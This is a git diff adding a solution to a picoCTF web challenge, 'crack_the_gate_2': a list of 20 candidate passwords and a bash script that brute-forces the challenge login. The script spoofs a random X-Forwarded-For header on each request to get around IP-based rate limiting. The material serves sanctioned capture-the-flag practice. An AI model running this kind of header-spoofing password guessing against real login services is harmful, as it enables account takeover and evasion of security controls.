diff --git a/web/crack_the_gate_2/passwords.txt b/web/crack_the_gate_2/passwords.txt new file mode 100644 index 0000000..06929df --- /dev/null +++ b/web/crack_the_gate_2/passwords.txt @@ -0,0 +1,20 @@ +tkY83OwR +vISQRFmM +471HtPne +s8nXfR6X +WoQEk5GL +eu8z9EFn +0SMi2c8U +WlHiKuw6 +0iaXgUGR +shNKoNrW +KaqwDEUA +eSqOLef7 +CueFICmh +MZZSJucZ +eZQR9yx7 +sPEIun6X +p0fkX9cA +CY1sEmC6 +M707m17w +8thnKYYn \ No newline at end of file diff --git a/web/crack_the_gate_2/solve.sh b/web/crack_the_gate_2/solve.sh new file mode 100755 index 0000000..b9e608e --- /dev/null +++ b/web/crack_the_gate_2/solve.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +for pw in $(cat passwords.txt); do + RANDOM_IP="$(printf "%d.%d.%d.%d" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))" "$((RANDOM % 256))")" + + curl 'http://amiable-citadel.picoctf.net:50745/login' \ + -X POST \ + -H "X-Forwarded-For: $RANDOM_IP" \ + --json "{\"email\":\"ctf-player@picoctf.org\",\"password\":\"$pw\"}" + echo +done;